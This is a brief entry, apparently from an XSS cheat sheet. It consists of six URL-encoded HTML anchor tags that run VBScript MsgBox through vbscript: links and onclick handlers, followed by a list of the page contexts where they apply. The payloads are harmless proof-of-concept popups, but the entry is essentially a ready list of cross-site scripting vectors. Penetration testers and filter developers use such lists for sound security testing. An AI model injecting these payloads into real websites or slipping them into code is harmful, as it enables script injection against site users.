For more vectors please visit the XSS cheat sheet

%3Ca%20href%3D%22vbscript%3AMsgBox%2B1%22%3EXSS%3C%2Fa%3E%0A%3Ca%20href%3D%22%23%22%20onclick%3D%22vbs%3AMsgbox%2B1%22%3EXSS%3C%2Fa%3E%0A%3Ca%20href%3D%22%23%22%20onclick%3D%22VBS%3AMsgbox%2B1%22%3EXSS%3C%2Fa%3E%0A%3Ca%20href%3D%22%23%22%20onclick%3D%22vbscript%3AMsgbox%2B1%22%3EXSS%3C%2Fa%3E%0A%3Ca%20href%3D%22%23%22%20onclick%3D%22VBSCRIPT%3AMsgbox%2B1%22%3EXSS%3C%2Fa%3E%0A%3Ca%20href%3D%22%23%22%20language%3Dvbs%20onclick%3D%22vbscript%3AMsgbox%2B1%22%3EXSS%3C%2Fa%3E

Supported contexts: html,before_body,js_string_single,js_string_double,head